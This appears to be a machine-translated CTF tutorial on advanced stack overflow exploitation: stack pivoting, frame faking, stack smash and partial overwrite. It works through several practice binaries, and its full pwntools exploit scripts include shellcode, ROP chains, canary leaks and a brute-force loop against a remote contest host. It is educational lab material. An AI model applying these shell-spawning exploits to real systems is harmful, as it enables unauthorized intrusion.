Fancy stack overflow

Fancy stack overflow

reference resources: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#2018-over

reference resources: https://www.yuque.com/hxfqg9/bin/erh0l7

reference resources: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop

1. Principle

1.1 stack pivoting

Stack pivoting is turned into stack rotation. This technique is to hijack the stack pointer to the memory that the attacker can control, and then ROP at the corresponding position (in other words, to indirectly control eip by controlling esp). Generally speaking, we may need to use stack pivoting in the following cases:

  • The number of bytes overflowed by the controllable stack is small, so it is difficult to construct a long ROP chain
  • PIE protection is enabled. The stack address is unknown. We can hijack the stack to a known area.
  • Other vulnerabilities are difficult to exploit. We need to convert, for example, hijack the stack to the heap space, so as to write rop on the heap and exploit heap vulnerabilities

In addition, the following requirements apply to stack pivoting

  • You can control program execution flow, that is, control eip.
  • You can control the sp pointer. Generally speaking, the control stack pointer will use ROP, and the common gadgets for controlling the stack pointer are
pop rsp/esp
jmp rsp/esp

And libc_ csu_ CSU in init_ gadget1 + 3:

pwndbg> x/5i 0x000000000040061A + 3
   0x40061d <__libc_csu_init+93>:       pop    rsp
   0x40061e <__libc_csu_init+94>:       pop    r13
   0x400620 <__libc_csu_init+96>:       pop    r14
   0x400622 <__libc_csu_init+98>:       pop    r15
   0x400624 <__libc_csu_init+100>:      ret    

1.2 stack migration (frame faking)

1.2.1 introduction to gadget

Stack migration mainly uses leave; ret; Such gadget s

leave is equivalent to:

move esp, ebp;
pop ebp

ret is equivalent to:

pop eip

When the program completes the call and intends to return, leave will appear; Gadgets like RET:

1.2.2 layout of payload

The stack layout for stack migration is as follows (payload = padding + address (make_ebp1) + read + leave_ret_gadget + 0 + make_ebp1 + 0x100):

When reading data in the read() function, we need to enter: Address (make ebp2) + system() + padding_+ “/bin/sh”. (take system() as an example here. You can also call other functions)

remarks:

1. Read is added to the payload to write the data we need in the bss segment or data segment. If the required data has been constructed in advance, you can delete read and directly follow leave_ret_gagegt.

2. The address (make ebp2) entered when reading data in the following read() is to control the direction of EBP. If you just want to execute the function, it doesn't matter where the EBP is. You don't need to enter address (make ebp2) at all, but you can use padding instead.

1.2.3 step analysis

We analyze each step of stack migration step by step, taking the execution of system() function as an example:

stage 1:

After the function call is completed, the program executes the move esp, ebp of the leave instruction at the end of the function:

stage 2:

pop ebp executing leave instruction:

stage 3:

When the program executes ret, i.e. pop eip, the read(0, fake_ebp1, 0x100) function is called. Then what we enter will be from fake_ Ebp1 starts to write to the high address. We let it write: Address (make ebp2) + system() + padding + "/ bin/sh"

stage 4:

Program execution leave_ret_gadget, then it will be like the above:

Execute move esp, ebp:

stage 5:

Then pop ebp:

At this time, we find that esp points to the address of the function we write, such as the system() function.

stage 6:

Then ret:

The program is hijacked and points to the function specified by us, such as system(), to achieve the purpose.

Other stack migration methods:

Next, a stack migration method is introduced, but the principle is basically the same. The difference is that the following layout method does not need to use the leave of the called function; RET mechanism, and ebp does not know where it will point after calling (depending on the original data written in 0x804a824), but it can still point to the specified function:

The following is an example of calling the write() function to print "/ bin/sh" on the stack:

Layout of original stack frame:

0x0000:          b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0004:          b'aaaa'
...
0x0064:          b'aaaa'
0x0068:          b'aaaa'
0x006c:          b'aaaa'
0x0070:        0x8048390 read(0, 0x804a828, 100)
0x0074:        0x804836a <adjust @0x84> add esp, 8; pop ebx; ret
0x0078:              0x0 arg0
0x007c:        0x804a828 arg1
0x0080:             0x64 arg2
0x0084:        0x804864b pop ebp; ret  
0x0088:        0x804a824
0x008c:        0x8048465 leave; ret

bss section layout:

0x0000:        0x80483c0 write(1, 0x804a878, 7)
0x0004:        0x804836a <adjust @0x14> add esp, 8; pop ebx; ret
0x0008:              0x1 arg0
0x000c:        0x804a878 arg1
0x0010:              0x7 arg2
0x0014:          b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0018:          b'aaaa'
...
0x0048:          b'aaaa'
0x004c:          b'aaaa'
0x0050:          b'/bin' '/bin/sh'
0x0054:           b'/sh'
0x0057:          b'aaaa' 'aaaaaaaaaaaaa'
0x005b:          b'aaaa'
0x005f:          b'aaaa'
0x0063:             b'a'

After execution, the stack frame is as follows:

1.3 Stack smash

Stack smash is a technology that bypasses canary protection.

After the Canary protection is added to the program, if the buffer we read overwrites the corresponding value, the program will report an error. Generally speaking, we don't care about the error information. The stack smash technique is to use the program that prints this information to get the content we want. This is because after the canary protection is started, if it is found that the canary is modified , the program will execute the _stack_chk_fail function to print the string pointed to by the argv[0] pointer. Normally, the pointer points to the program name. The code is as follows:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

Therefore, if we use stack overflow to overwrite argv[0] as the address of the string we want to output, the information we want will be output in the _force_fail function.

However, in my Ubuntu 20.04 (kernel 4.19.128), neither the program name nor < unknown >:

*** stack smashing detected ***: terminated

Therefore, this technique does not work for newer kernels.

1.4 partial overwrite

After randomization (ASLR, PIE) is turned on, the intra page offset of the lower 12 bits is always fixed no matter how the high-order address changes. That is, if we can change the low-order offset, we can control the execution flow of the program to a certain extent and bypass the PIE protection.

2. Examples

2.1 stack pivoting

2.1.1 exercise information

Exercises from: CTF challenges / PWN / stackoverflow / stackprivot / x-ctf quals 2016 - b0verfl0w

2.1.2 program analysis

Take a look at the security mechanism:

$ checksec  b0verfl0w
[*] '/mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

It can be seen that there are 32 bits, no canary, no nx, no pie, and RWX

IDA, take a look at the vulnerability function:

signed int vul()
{
  char s; // [esp+18h] [ebp-20h]

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}

The program has stack overflow, but the overflow length is 50 - 0x20 - 4 = 14 bytes, so many ROPS cannot be executed.

Consider stack privoting. Since nx is not enabled in the program, shellcode can be deployed on the stack for execution. The basic idea is as follows:

  1. Deploying shellcode using stack overflow
  2. Control eip pointing to shellcode

So how to control the eip to point to shellcode? Let's look for gadget s similar to jmp esp:

$ ROPgadget --binary b0verfl0w --only "jmp|ret"
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x0804855d : jmp dword ptr [ecx + 0x804a040]
0x08048550 : jmp dword ptr [ecx + 0x804a060]
0x0804876f : jmp dword ptr [ecx]
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 9

The gadget at 0x08048504 can be used. When the ESP points to the gadget that we can control, jmp esp is triggered to make the eip point to the gadget that we can control. Then the function of the gadget that we can control is to make the ESP point to the shellcode on the stack, and then jmp esp.

exp is as follows:

from pwn import *
sh = process('./b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')  # We can control the gadget
jmp_esp = 0x08048504
payload = shellcode_x86 + (
    0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

Operation results:

$ python2 exploit.py 
[+] Starting local process './b0verfl0w': pid 9751
[*] Switching to interactive mode

======================

Welcome to X-CTF 2016!

======================
What's your name?
Hello 1���Qh//shh/bin\x89�
                         ̀bbbbbbbbbbbbbbb\x04\x04\x83�(��
.$  

2.2 stack migration (frame faking)

2.2.1 exercise information

Exercises from: CTF challenges / PWN / stackoverflow / fake_frame / over

2.2.2 program analysis

Check the security mechanism:

$ checksec over.over 
[*] '/mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/fake_frame/over/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Found 64 bit, only nx

IDA, take a look at the vulnerability function:

int sub_400676()
{
  char buf[80]; // [rsp+0h] [rbp-50h]

  memset(buf, 0, sizeof(buf));
  putchar('>');
  read(0, buf, 0x60uLL);
  return puts(buf);
}

It is found that the stack of this function is only 0x50, and the read() function can only write 0x60, that is, it can only just cover ret, and can no longer write data to the high address.

Then we can put the stack to be migrated on the original stack, and then control rbp to point to the migrated stack (in this topic, that is, the rsp position of sub_400676(), because buf happens to be at rsp + 0h). In this way, we can arrange the stack to be migrated.

So how do we know fake rbp?

Because "\ 0" will not be automatically added when read() writes data, the contents on the stack will be printed when the source program calls puts(). We only need to set the buf to 0x50, then we will print the prev ebp, and then calculate the value of fake rbp according to the offset.

Before calling the puts() function, make a breakpoint and gdb look at the offset:

   0x4006b6    mov    rdi, rax
 ► 0x4006b9    call   puts@plt <puts@plt>
        s: 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */
 
   0x4006be    leave  
   0x4006bf    ret    
 
   0x4006c0    push   rbp
   0x4006c1    mov    rbp, rsp
   0x4006c4    sub    rsp, 0x10
   0x4006c8    mov    dword ptr [rbp - 4], edi
   0x4006cb    mov    qword ptr [rbp - 0x10], rsi
   0x4006cf    mov    rax, qword ptr [rip + 0x20098a] <0x601060>
   0x4006d6    mov    ecx, 0
────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rax rdi rsi rsp 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */
01:0008│                 0x7fffffffdf68 ◂— 0x0
... ↓                    6 skipped
──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0         0x4006b9
   f 1         0x400715
   f 2   0x7ffff7deb0b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 14
00:0000│ rax rdi rsi rsp 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */
01:0008│                 0x7fffffffdf68 ◂— 0x0
... ↓                    8 skipped
0a:0050│ rbp             0x7fffffffdfb0 —▸ 0x7fffffffdfd0 ◂— 0x0
0b:0058│                 0x7fffffffdfb8 —▸ 0x400715 ◂— 0xb890f0eb0274c085
0c:0060│                 0x7fffffffdfc0 —▸ 0x7fffffffe0c8 —▸ 0x7fffffffe326 ◂— 0x732f642f746e6d2f ('/mnt/d/s')
0d:0068│                 0x7fffffffdfc8 ◂— 0x100000000
pwndbg> distance 0x7fffffffdf60 0x7fffffffdfd0
0x7fffffffdf60->0x7fffffffdfd0 is 0x70 bytes (0xe words)

It is found that the offset is 0x70 (that is, the rsp from prev rbp to the current stack)

Then we need to get the leaked prev rbp - 0x70 to the current rsp, that is, the top of the migrated stack

Now the stack top of the stack to be migrated has been obtained, and the migrated stack can be arranged. Just migrate the payload structure according to the normal stack.

exp is as follows:

# coding=utf-8
from pwn import *
context.binary = "./over.over"


def DEBUG(cmd):
    raw_input("DEBUG: ")
    gdb.attach(io, cmd)


io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc

io.sendafter(">", b'a' * 80)
stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\0')) - 0x70
success("stack -> {:#x}".format(stack))

# DEBUG("b *0x4006B9\nc")
# gdb.attach(io)
leave_ret = 0x4006be
pop_rdi_ret = 0x400793
io.sendafter(">", flat(['11111111', pop_rdi_ret, elf.got['puts'],
             elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, leave_ret]))  # The payload structure of stack migration. It will be migrated after hitting the stack. That is, migrate to the fake stack of sub400676
libc.address = u64(io.recvuntil(b"\x7f")
                   [-6:].ljust(8, b'\0')) - libc.sym['puts']  # Calculate libc base address
success("libc.address -> {:#x}".format(libc.address))


'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000f5279 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret = libc.address+0x130569  # This is different in different kernels and needs to be found according to your own system. My offset is in the 4.15 kernel (Ubuntu 18.04), but I can't find it in my 4.19 kernel (Ubuntu 20.04)

#gdb.attach(io)
payload = flat(['22222222', pop_rdi_ret, next(libc.search(b"/bin/sh")), pop_rdx_pop_rsi_ret,
               p64(0), p64(0), libc.sym['execve'], (80 - 7*8) * '2', stack - 0x30, leave_ret])  # There is a stack - 0x30 here, because the stack structure has changed after the first time you hit payload. You need to subtract - 0x30 to migrate to rsp. This needs to be dynamically adjusted by gdb

io.sendafter(">", payload)

io.interactive()

There are two points to note in the above code:

  1. pop_rdx_pop_rsi_ret: This is different in different kernels. You need to find it according to your own system. My offset is in the 4.15 kernel (Ubuntu 18.04), but I can't find it in my 4.19 kernel (Ubuntu 20.04)
  2. The second payload: there is a stack - 0x30 here, because after the first payload, the stack structure has changed. You need to subtract - 0x30 to migrate to rsp. This needs to be dynamically adjusted by gdb

Operation results:

$ python3 exp.py
[*] '/home/xxx/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './over.over': pid 102509
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] stack -> 0x7ffff16ebbc0
[+] libc.address -> 0x7f2d8439f000
[*] Switching to interactive mode
22222222\x93\x07
$

2.2.3 stack smash

2.2.3.1 exercise information

Exercises from: CTF challenges / PWN / stackoverflow / stacksmashes / smashes

Test in the following environment:

ubuntu# uname -a
Linux ubuntu 4.15.0-129-generic #132-Ubuntu SMP Thu Dec 10 14:02:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

2.2.3.2 program analysis

Check the protection mechanism:

$ checksec smashes
[*] '/mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes/smashes'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

I found that the program opened canary, nx and fortify

IDA looks at the program:

unsigned __int64 sub_4007E0()
{
  __int64 v0; // rax
  __int64 v1; // rbx
  int v2; // eax
  __int64 v4; // [rsp+0h] [rbp-128h]
  unsigned __int64 v5; // [rsp+108h] [rbp-20h]

  v5 = __readfsqword(0x28u);
  __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
  LODWORD(v0) = _IO_gets((__int64)&v4);
  if ( !v0 )
LABEL_9:
    _exit(1);
  v1 = 0LL;
  __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v2 = _IO_getc(stdin);
    if ( v2 == -1 )
      goto LABEL_9;
    if ( v2 == '\n' )
      break;
    aPctfHereSTheFl[v1++] = v2;
    if ( v1 == 32 )
      goto LABEL_8;
  }
  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v5;
}

Analyze the logic of the program:

  1. At first, use gets() to input a string into v4. This place does not limit the length of the input and can overflow;
  2. Then the program enters the while loop. When the length of the input string reaches 32 or "\ n", the while loop will end. If no character is entered, a flag character will be overwritten
  3. If the program exits the while loop because of the newline character, memset will be executed to clear the remaining uncovered flags; If the program exits because the input length reaches 32, the remaining uncovered flags will not be cleared

Take a look at the place where the flag is stored:

.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0

At this time, we need to use a skill: during ELF memory mapping, the bss segment will be mapped twice, so we can use another address for output

For example, let's let the program run, and then vmmap look at the memory:

pwndbg> vmmap smashes
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes/smashes
          0x600000           0x601000 rw-p     1000 0      /mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes/smashes

It will be found that the contents within the range of 0x000000000 ~ 0x00001000 will be mapped to memory, with 0x600000 and 0x400000 as the starting addresses respectively.

The flag is placed in 0000000000000000000D20. Although the 0000000000600D20 position is covered, we can still get the flag by viewing 000000000040d20.

pwndbg> x/s 0x0000000000400D20
0x400d20:       "PCTF{Here's the flag on server}"

According to the stack smash mechanism, when the canary of the program is detected to be inconsistent, the program name (that is, a parameter) will be printed. Then we only need to modify the parameter to 0000000000 400d20 to print the string. Therefore, we need to calculate the distance between the program name (that is, a parameter) and the top of the stack, and then replace it.

gdb first look at where the program name (that is, a parameter) is placed:

Let's make a breakpoint at the starting point of the main function (0000000000 4006d0):

[external chain picture transfer failed. The source station may have anti-theft chain mechanism. It is recommended to save the picture and upload it directly (IMG cptipn53-163324928273)( https://i.loli.net/2021/10/02/Sv8cpAkyD6JgXGN.png )]

It was found that the program name (i.e. a parameter) was placed at 0x7fffff58.

Of course, you can also use pwntools to print directly:

pwndbg> p & __libc_argv[0]
$1 = (char **) 0x7fffffffdf58

Now you only need to know the offset from the overflow point v4. We find the location of the gets() function. The command is $objdump -d smashes | grep gets:

40080e:       e8 ad fe ff ff          callq  4006c0 <_IO_gets@plt>

Let's make a breakpoint at gets(), and then take a look at a parameter of gets(), that is, the address of v4:

 ► 0x40080e    call   _IO_gets@plt <_IO_gets@plt>
        rdi: 0x7fffffffdd40 ◂— 0x0
        rsi: 0x19
        rdx: 0x7ffff7dcf8c0 (_IO_stdfile_1_lock) ◂— 0x0
        rcx: 0x0

It is found that v4, that is, rdi is 0x7fffdd40.

Then our offset is:

pwndbg> distance 0x7fffffffdd40 0x7fffffffdf58
0x7fffffffdd40->0x7fffffffdf58 is 0x218 bytes (0x43 words)

Then you only need to set: payload = cyclic(0x218) + 0x0000000000400D20. Once the program crashes, the content of 0x0000000000400D20 will be printed, that is, flag:

exp is as follows:

from pwn import *
p=process('./smashes')
# p = remote('pwn.jarvisoj.com', 9877)
payload = 'a'*0x228+p64(0x400d20)
p.sendlineafter('name? ', payload)
p.sendlineafter('flag: ', 'aaaaa')
print p.recv()

However, my machine will only print unknown, not program name or flag:

ubuntu# python2 exp.py
[+] Starting local process './smashes': pid 106601
Thank you, bye!
*** stack smashing detected ***: <unknown> terminated

[*] Stopped process './smashes' (pid 106601)

2.2.4 partial overwrite

2.2.4.1 2018 - Anheng Cup - babypie

Exercise information: CTF challenges / PWN / stackoverflow / partial_ overwrite

Program analysis:

$ checksec babypie
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64 bit, enabling pie and canary

IDA looks at the program:

__int64 sub_960()
{
  char buf[40]; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  *(_OWORD *)buf = 0uLL;
  *(_OWORD *)&buf[16] = 0uLL;
  puts("Input your Name:");
  read(0, buf, 0x30uLL);                        // overflow
  printf("Hello %s:\n", buf, *(_QWORD *)buf, *(_QWORD *)&buf[8], *(_QWORD *)&buf[16], *(_QWORD *)&buf[24]);
  read(0, buf, 0x60uLL);                        // overflow
  return 0LL;
}

It is obvious that there are two obvious overflows in the above code. If the length that can be read in the first place is 48 bytes, you can use the first read to disclose canary; The length of the second place that can be read is 96 bytes, so it can be used to overwrite ret.

Draw the stack:

At the same time, the program has a getshell() function.

.text:0000000000000A3E getshell        proc near
.text:0000000000000A3E ; __unwind {
.text:0000000000000A3E                 push    rbp
.text:0000000000000A3F                 mov     rbp, rsp
.text:0000000000000A42                 lea     rdi, command    ; "/bin/sh"
.text:0000000000000A49                 call    _system
.text:0000000000000A4E                 nop
.text:0000000000000A4F                 pop     rbp
.text:0000000000000A50                 retn
.text:0000000000000A50 ; } // starts at A3E
.text:0000000000000A50 getshell        endp

Therefore, if we can control the rip to point here, we can get the shell. We know that even if aslr is turned on, the last 12 bits of the program will not change. In other words, when the program is running, the approximate address rate of getshell() is xxxxxxxxx? A3e

Therefore, we get the following ideas:

  1. The first time we read(), we write 0x28 + 0x1 length (because read will not automatically add "\ 0"), revealing canary
  2. The second time we read(), we override ret to xxxxxxxxx0x0a3e, which will have a certain chance to jump to the getshell() function

exp is as follows:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
#  context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

while True:
    try:
        io = process("./babypie", timeout = 1)

        #  gdb.attach(io)
        io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
        io.recvuntil('a' * (0x30 - 0x8 + 1))
        canary = '\0' + io.recvn(7)
        success(canary.encode('hex'))

        #  gdb.attach(io)
        io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')

        io.interactive()
    except Exception as e:
        io.close()
        print e

2.2.4.2 2018-XNUCA-gets

Exercises from: CTF challenges / PWN / stackoverflow / partial_ overwrite/2018-xnuca-gets

The following main references are CTF wikis: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#2018-xnuca-gets

Take a look at the protection mechanism of the program:

$ checksec gets
[*] '/mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/partial_overwrite/2018-xnuca-gets/gets'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64 bit program, no protection is found

IDA takes a look and finds that there is only one get() function:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+0h] [rbp-18h]

  gets(&v4, a2, a3);
  return 0LL;
}

Obviously, there is a stack overflow, and then we can control rip.

The program stops at main(0x0000000000400420). Take a look at the stack:

pwndbg> stack 25
00:0000│ rsp  0x7fffffffe398 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
01:0008│      0x7fffffffe3a0 ◂— 0x1
02:0010│      0x7fffffffe3a8 —▸ 0x7fffffffe478 —▸ 0x7fffffffe6d9 ◂— 0x6667682f746e6d2f ('/mnt/hgf')
03:0018│      0x7fffffffe3b0 ◂— 0x1f7ffcca0
04:0020│      0x7fffffffe3b8 —▸ 0x400420 ◂— sub    rsp, 0x18
05:0028│      0x7fffffffe3c0 ◂— 0x0
06:0030│      0x7fffffffe3c8 ◂— 0xf086047f3fb49558
07:0038│      0x7fffffffe3d0 —▸ 0x400440 ◂— xor    ebp, ebp
08:0040│      0x7fffffffe3d8 —▸ 0x7fffffffe470 ◂— 0x1
09:0048│      0x7fffffffe3e0 ◂— 0x0
... ↓
0b:0058│      0x7fffffffe3f0 ◂— 0xf79fb00f2749558
0c:0060│      0x7fffffffe3f8 ◂— 0xf79ebba9ae49558
0d:0068│      0x7fffffffe400 ◂— 0x0
... ↓
10:0080│      0x7fffffffe418 —▸ 0x7fffffffe488 —▸ 0x7fffffffe704 ◂— 0x504d554a4f545541 ('AUTOJUMP')
11:0088│      0x7fffffffe420 —▸ 0x7ffff7ffe168 ◂— 0x0
12:0090│      0x7fffffffe428 —▸ 0x7ffff7de77cb (_dl_init+139) ◂— jmp    0x7ffff7de77a0

Found on stack__ libc_start_main+240 and_ dl_init+139

Then we can have the following ideas:

Step 1: use partial overwrite technology to__ libc_start_main+240 or_ dl_ The low 12 bit coverage of init + 139 makes them the address of the gadget we need. This gadget can be found in lib.so. Just use onegadget.

Step 2: after modification of 1, you only need to control the eip to point to the overwritten__ libc_start_main+240 or_ dl_init+139

Pre knowledge:

__ libc_start_main+240 is in libc_ dl_init+139 in ld

Look at step 1: the coverage is easy, just like 2.2.4.1, but which of the two do we want to cover? Because gets() will automatically add \ 0 and occupy 1 byte, 8 bits will change to 0 when overwriting. If we overwrite__ libc_start_main+240, the address will change to 0x7ffff700xxxx, which is smaller than the base address of libc, and there is no code bit deliberately executed in front. And_ dl_init+139 is at the high address of libc. Even if a byte is overwritten with \ 0 and changed to 0x7ffff700xxxx, the address will change to the range of libc.so. Then we can use the gadget in libc.so. Here is the address. You can see that the starting address of libc-2.23.so is 0x7ffff7a0d000, and the starting address of ld-2.23.so is 0x7ffff7dd7000.

0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0
0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so

**Let's look at step 2: * * how to control the change of eip now? We can use the CSU in ret2csu_gadget1(0x40059B). This gadget1 allows pop to retn after 5 times. Just call the gadget a few more times.

**Others: * * then we also need to know the specific version of libc.so. buu gives the information that the system version is Ubuntu 16 and the libc version, which we can use directly.

But what if it's not given? Like CTF wiki, you can overwrite it to see if the program crashes:

from pwn import *
context.terminal = ['tmux', 'split', '-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
elfpath = './gets'
context.binary = elfpath

elf = ELF(elfpath)
bits = elf.bits


def exp(ip, port):
    for i in range(0x1000):
        if args['REMOTE']:
            p = remote(ip, port)
        else:
            p = process(elfpath, timeout=2)
        # gdb.attach(p)
        try:
            payload = 0x18 * 'a' + p64(0x40059B)
            for _ in range(2):
                payload += 'a' * 8 * 5 + p64(0x40059B)
            payload += 'a' * 8 * 5 + p16(i)
            p.sendline(payload)
            data = p.recv()
            print data
            p.interactive()
            p.close()
        except Exception:
            p.close()
            continue


if __name__ == "__main__":
    exp('106.75.4.189', 35273)

The crash information generated is as follows:

======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f57b6f857e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f57b6f8e37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f57b6f9253c]
/lib/x86_64-linux-gnu/libc.so.6(+0xf2c40)[0x7f57b7000c40]
[0x7ffdec480f20]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:28 48745                              /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets
00600000-00601000 r--p 00000000 00:28 48745                              /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets
00601000-00602000 rw-p 00001000 00:28 48745                              /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets
00b21000-00b43000 rw-p 00000000 00:00 0                                  [heap]
7f57b0000000-7f57b0021000 rw-p 00000000 00:00 0
7f57b0021000-7f57b4000000 ---p 00000000 00:00 0
7f57b6cf8000-7f57b6d0e000 r-xp 00000000 08:01 914447                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f57b6d0e000-7f57b6f0d000 ---p 00016000 08:01 914447                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f57b6f0d000-7f57b6f0e000 rw-p 00015000 08:01 914447                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f57b6f0e000-7f57b70ce000 r-xp 00000000 08:01 914421                     /lib/x86_64-linux-gnu/libc-2.23.so
7f57b70ce000-7f57b72ce000 ---p 001c0000 08:01 914421                     /lib/x86_64-linux-gnu/libc-2.23.so
7f57b72ce000-7f57b72d2000 r--p 001c0000 08:01 914421                     /lib/x86_64-linux-gnu/libc-2.23.so
7f57b72d2000-7f57b72d4000 rw-p 001c4000 08:01 914421                     /lib/x86_64-linux-gnu/libc-2.23.so
7f57b72d4000-7f57b72d8000 rw-p 00000000 00:00 0
7f57b72d8000-7f57b72fe000 r-xp 00000000 08:01 914397                     /lib/x86_64-linux-gnu/ld-2.23.so
7f57b74ec000-7f57b74ef000 rw-p 00000000 00:00 0
7f57b74fc000-7f57b74fd000 rw-p 00000000 00:00 0
7f57b74fd000-7f57b74fe000 r--p 00025000 08:01 914397                     /lib/x86_64-linux-gnu/ld-2.23.so
7f57b74fe000-7f57b74ff000 rw-p 00026000 08:01 914397                     /lib/x86_64-linux-gnu/ld-2.23.so
7f57b74ff000-7f57b7500000 rw-p 00000000 00:00 0
7ffdec460000-7ffdec481000 rw-p 00000000 00:00 0                          [stack]
7ffdec57f000-7ffdec582000 r--p 00000000 00:00 0                          [vvar]
7ffdec582000-7ffdec584000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

